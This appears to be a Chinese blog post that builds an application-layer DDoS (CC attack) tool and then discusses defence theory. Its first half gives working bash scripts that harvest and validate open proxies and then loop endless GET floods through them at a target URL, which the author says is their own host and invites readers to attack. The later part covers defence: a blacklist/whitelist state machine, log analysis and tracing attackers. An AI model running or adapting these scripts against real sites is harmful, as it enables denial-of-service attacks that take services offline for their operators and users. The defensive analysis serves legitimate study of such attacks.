故上兵伐谋 其次伐交 其次伐兵 其下攻城 攻城之法 为不得已

知己知彼 百战不殆 不知彼而知己 一胜一负 不知彼不知己 每战必败

——孙子兵法·谋攻

我们将要实现一个进行应用层DDoS攻击的工具,综合考虑,CC攻击方式是最佳选择,并用bash shell脚本来快速实现并验证这一工具,并在最后,讨论如何防御来自应用层的DDoS攻击。

第一步:获取大量可用代理ip:port列表

  网上所处可见免费代理,我们使用http的GET方法抓取html文档,接着使用正则过滤出我们需要的ip port对,然后逐一验证各代理的可用性,最终得到可用的代理ip port对。

 grab_proxy.sh
 #!/bin/bash

 #get proxy list
declare proxyListFile="proxy.txt"
declare tmpFile=`mktemp`
declare url
declare line
declare times
declare ip
declare port
declare i
declare j
declare mod function quit() {
rm -f $tmpFile
exit "$1"
} echo "get proxy list... please wait..." if [ -r "$proxyListFile" ]
then
rm -f $proxyListFile
fi touch $proxyListFile for url in " http://www.youdaili.cn/Daili/guonei/2215.html " \
" http://www.youdaili.cn/Daili/guonei/2215_2.html" \
" http://www.youdaili.cn/Daili/guonei/2215_3.html" \
" http://www.youdaili.cn/Daili/guonei/2215_4.html "
do
if GET "$url" > $tmpFile
then
grep -oE '^.*<br />.*$' "$tmpFile" | grep -Eo "([0-9]+)(\.[0-9]+){3}:([0-9]+)" \
| sort -n | uniq | awk -F: '{ printf("%-15s %s \n",$1,$2); }' >> $proxyListFile
else
exec >&
echo "error: get proxy list fail! chech the url:$url or the network"
quit
fi
done echo "done. total `cat $proxyListFile | wc -l` proxy" quit
#exit

参数:

declare proxyListFile="proxy.txt"  #抓取到的代理ip port对所存放的文件路径

 check_proxy.sh
 #!/bin/bash

 #get proxy list
declare check_threads=
declare line
declare times
declare ip
declare port
declare i
declare j
declare mod function quit() {
exit "$1"
} #echo "start check proxy's functionality..." #retarget the input file to stdin
if [ "$#" -gt "" ]
then
exec <$
else
exec >&
echo "usage: bash $0 proxyListFile.txt"
echo "error: must have one input arg"
quit
fi #check proxy's functionality
times=
while read line
do
times=$((times+))
j=
for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'`
do
j=$((j+))
if [ "$j" -eq ]
then
ip=$i
else
port=$i
fi
done
#echo "times=$times ip=$ip port=$port"
# start test
if GET -t -p "http://$ip:$port" "http://baidu.com" &>/dev/null
then
echo "$ip $port"
echo ":) ip=$ip port=$port " &>/dev/null
else
echo "invalid ip=$ip port=$port : please check ip:host or network" &>/proc/self/fd/
fi &
mod=$((times%check_threads))
if [ "$mod" -eq "" ]
then
wait
fi
done #close the fd of input file
exec >&-
quit
#exit

参数:

declare check_threads=10 #验证代理可用性时的并发数,看一下代码就会发现,我们使用的是GET http://baidu.com方法,所以,并发数请不要也太高 :) 除非你的目标就是......

总结:应征入伍的士兵共计600人,经过考核的共计449人,如果你还想招募更多的士兵,奉劝一句,苦海无边,回头是岸。
 第二步:吹响战争号角

笔者在一台VPS上建立了一个薄弱的靶机,各位读者请不要太暴力,测试一下就可以了,地址 http://eecs.cc:8080/

笔者把这么重要的信息都放出来了,读者请点个赞吧  :)

 cc.sh
 #!/bin/bash

 declare target_url="http://eecs.cc:8080/"
declare get_timeout_sec=
declare line
declare times
declare ip
declare port
declare i
declare j function quit() {
exit "$1"
} #retarget the input file to stdin
if ! [ "$#" -gt "" ]
then
exec >&
echo "challenge collapsar attack -- cc attack"
echo "usage: bash $0 proxyListFile.txt"
echo "error: must have one input arg"
quit
fi echo "report : total `cat $1 | wc -l` proxy-soldiers are ready for command"
echo "command: target: $target_url"
echo "command: start challenge collapsar attack :) amazing..." exec <$
#start challenge collapsar attack while true
do
times=
exec <&-
exec <$
while read line
do
times=$((times+))
j=
for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'`
do
j=$((j+))
if [ "$j" -eq ]
then
ip=$i
else
port=$i
fi
done
echo "times=$times ip=$ip port=$port"
#single soldier attack
if GET -t "$get_timeout_sec" -p "http://$ip:$port" "$target_url" &>/dev/null
then
echo "soldier$times attack $target_url :)"
else
echo "soldier$times attack $target_url miss"
fi &
done
wait
done #close the fd of input file
exec >&-
quit
#exit

读者可自行尝试攻击这个站点,然后使用浏览器访问查看服务器网络状况,此时大量连接处于TIME_WAIT状态,参考TCP状态机,这一状态为主动关闭一方的最终等待状态。

请不要恶意攻击别人的网站 如果因此被关了进去 没有人能把你弄出来

  

  应用层DDoS的防御理论:

  问题模型描述:

  每一个页面,都有其资源消耗权重,静态资源,权重较低,动态资源,权重较高。对于用户访问,有如下:

用户资源使用频率=使用的服务器总资源量/s

  命题一:对于正常访问的用户,资源使用频率必定位于一个合理的范围,当然会存在大量正常用户共享ip的情况,这就需要日常用户访问统计,以得到忠实用户ip白名单。

  命题二:资源使用频率持续异常的,可断定为访问异常的用户。

  防御体系状态机:

  1.在系统各项资源非常宽裕时,向所有ip提供服务,每隔一段时间释放一部分临时黑名单中的ip成员;

  2.在系统资源消耗达到某一阈值时,降低Syn包接受速率,循环:分析最近时间的日志,并将访问异常的ip加入临时黑名单;

  3.若系统资源消耗慢慢回降至正常水平,则恢复Syn包接受速率,转到状态1;若目前策略并未有效地控制住系统资源消耗的增长,情况继续恶劣至一极限阈值,转到状态4;

  4.最终防御方案,使用忠实用户ip白名单、异常访问ip黑名单策略,其他访问可慢慢放入,直到系统资源消耗回降至正常水平,转到状态1。

 

 上述的防御状态机,对于单个攻击IP高并发的DDOS,变化到状态3时,效果就完全体现出来了,但如果防御状态机进行到4状态,则有如下两种可能:

  1.站点遭到了攻击群庞大的、单个IP低并发的DDOS攻击;

2.站点突然间有了很多访问正常的新用户。

 建议后续工作:

  保守:站点应尽快进行服务能力升级。

积极:尽所能,追溯攻击者。

  追溯攻击者:
    CC:proxy-forward-from-ip
    单个IP高并发的DDOS:找到访问异常的、高度可疑的ip列表,exploit,搜集、分析数据,因为一个傀儡主机可被二次攻占的概率很大(但不建议这种方法)
    单个IP低并发的DDOS:以前极少访问被攻击站点,但是在攻击发生时,却频繁访问我们的站点,分析日志得到这一部分ip列表

   追溯攻击者的过程中,snat与web proxy增加了追踪的难度,如果攻击者采用多个中继服务器的方法,追溯将变得极为困难。

      

防御者:

    1.应对当前系统了如指掌,如系统最高负载、最高数据处理能力,以及系统防御体系的强项与弱点
    2.历史日志的保存、分析
    3.对当前系统进行严格安全审计
    4.上报公安相关部分,努力追溯攻击者
    5.网站,能静态,就一定不要动态,可采取定时从主数据库生成静态页面的方式,对需要访问主数据库的服务使用验证机制

6.防御者应能从全局的角度,迅速及时地发现系统正在处于什么程度的攻击、何种攻击,在平时,应该建立起攻击应急策略,规范化操作,免得在急中犯下低级错误

  对历史日志的分析这时将会非常重要,数据可视化与统计学的方法将会很有益处:

    1.分析每个页面的平均访问频率

2.对访问频率异常的页面进行详细分析 分析得到ip-页面访问频率

3.得到对访问异常页面的访问异常ip列表

4.对日志分析得到忠实用户IP白名单

5.一般一个页面会关联多个资源,一次对于这样的页面访问往往会同时增加多个资源的访问数,而攻击程序一般不会加载这些它不感兴趣的资源,所以,这也是一个非常好的分析突破点

本文主要讲述了DDoS攻击之一的CC攻击工具实现,以及如何防御来自应用层的DDoS攻击的理论总结。接下来的文章,笔者将会实现一个工作于内核态的、具有黑名单功能的防火墙模块,以对应于上述防御状态机中的防火墙单元,它实现了自主地动态内存管理,使用hash表管理ip列表,并可以自定义hash表的modular。

如有问题或者建议,欢迎留言讨论 :)

附录:

  DDoS攻防战 (一) : 概述

DDoS攻防战 (二) :CC攻击工具实现与防御理论的更多相关文章

  1. DDoS攻防战(二):CC攻击工具实现与防御理论

    我们将要实现一个进行应用层DDoS攻击的工具,综合考虑,CC攻击方式是最佳选择,并用bash shell脚本来快速实现并验证这一工具,并在最后,讨论如何防御来自应用层的DDoS攻击. 第一步:获取大量 ...

  2. DDoS攻防战(二):CC攻击工具实现与防御理论--删除

    我们将要实现一个进行应用层DDoS攻击的工具,综合考虑,CC攻击方式是最佳选择,并用bash shell脚本来快速实现并验证这一工具,并在最后,讨论如何防御来自应用层的DDoS攻击. 第一步:获取大量 ...

  3. DDoS攻防战(三):ip黑白名单防火墙frdev的原理与实现

    在上一篇文章<DDoS攻防战 (二) :CC攻击工具实现与防御理论>中,笔者阐述了一个防御状态机,它可用来抵御来自应用层的DDoS攻击,但是该状态机依赖一个能应对大量条目快速增删的ip黑白 ...

  4. CC攻击工具list

    从论文里抠出来的工具列表如下,后面有黑产的工具以及网络上摘录的工具: 分类:(1)有僵尸网络(是否代理服务器)&没有的==>(2)单一url&混合url(多线程,压测为主,dem ...

  5. DDoS攻防战 (四):CC攻击防御系统部署

    1. 系统效果 此DDOS应用层防御系统已经部署在了http://www.yfdc.org网站上(如果访问失败,请直接访问位于国内的服务器http://121.42.45.55进行在线测试). 此防御 ...

  6. DDoS攻防战(一):概述

    原文出处: 陶辉的博客   欢迎分享原创到伯乐头条 (此图摘自<Web脚本攻击与防御技术核心剖析>一书,作者:郝永清先生) DDoS,即 Distributed Denial of Ser ...

  7. DDoS攻防战 (一) : 概述

    岁寒 然后知松柏之后凋也 ——论语·子罕 (此图摘自<Web脚本攻击与防御技术核心剖析>一书,作者:郝永清先生)    DDoS,即 Distributed Denial of Servi ...

  8. 转发 DDoS攻防战 (一) : 概述

     岁寒 然后知松柏之后凋也   岁寒 然后知松柏之后凋也 ——论语·子罕 (此图摘自<Web脚本攻击与防御技术核心剖析>一书,作者:郝永清先生)    DDoS,即 Distributed ...

  9. CC攻击介绍及如何防御

       CC攻击介绍 CC攻击(Challenge Collapsar)是DDOS(分布式拒绝服务)的一种,前身名为Fatboy攻击,也是一种常见的网站攻击方法.攻击者借助代理服务器生成指向受害主机的合 ...

随机推荐

  1. 一张图解释java跨平台

  2. C语言命令行解析函数:getopt/getopt_long

    命令行工具下的参数选项有两种,长选项和短选项.短选项以-开头,后面跟单个字母:长选项以--开头,后面可跟多个字母. 一. getopt() 1.功能:解析命令行短选项参数 2.函数原型: #inclu ...

  3. stenciljs 学习四 组件装饰器

    stenciljs 可以方便的构建交互式组件 支持以下装饰器 component prop watch state method element component 说明 component 包含ta ...

  4. hasura graphql server event trigger 试用

    hasura graphql server 是一个很不错的graphql 引擎,当前版本已经支持event triiger 了 使用此功能我们可以方便的集成webhook功能,实现灵活,稳定,快捷的消 ...

  5. 关于事件委托的整理 ,另附bind,live,delegate,on区别

    随着DOM结构的复杂化和Ajax等动态脚本技术的运用导致如今的js界里最火热的一项技术应该是‘事件委托(event delegation)’了,什么是事件委托呢?小七给你娓娓道来,说白了就是想给子元素 ...

  6. node 知识点

    问:局部安装如何使用npm run命令? 答:如果已局部安装了babel-cli(babel-cli自带babel-node命令),package.json文件配置如下: "scripts& ...

  7. php获取并删除数组的第一个和最后一个元素

    php中如何获取并删除数组的第一个或者最后一个元素?其实这两个过程都可以通过php自带的函数 array_pop 和 array_shift 来完成,下面就具体介绍一下如何来操作.(1)使用 arra ...

  8. RK3288 wifi模块打开或关闭5G信号

    CPU:RK3288 系统:Android 5.1 如果硬件使用的wifi模块支持5G,则系统设置中打开wifi,除了会搜索到普通的2.4G信号,还会搜索到xxx_5G信号. 如果路由器开了5G信号, ...

  9. 【python】实例-用户登录系统

    有N,E,Q三个选择,若选择Q或者中断,则系统退出.若其他选项,则持续让用户选择. #!/usr/bin/env python db = {} def newuser(): prompt = 'log ...

  10. 3台服务器Redis高可用哨兵模式实现(转)

    http://www.linuxidc.com/Linux/2017-05/143521.htm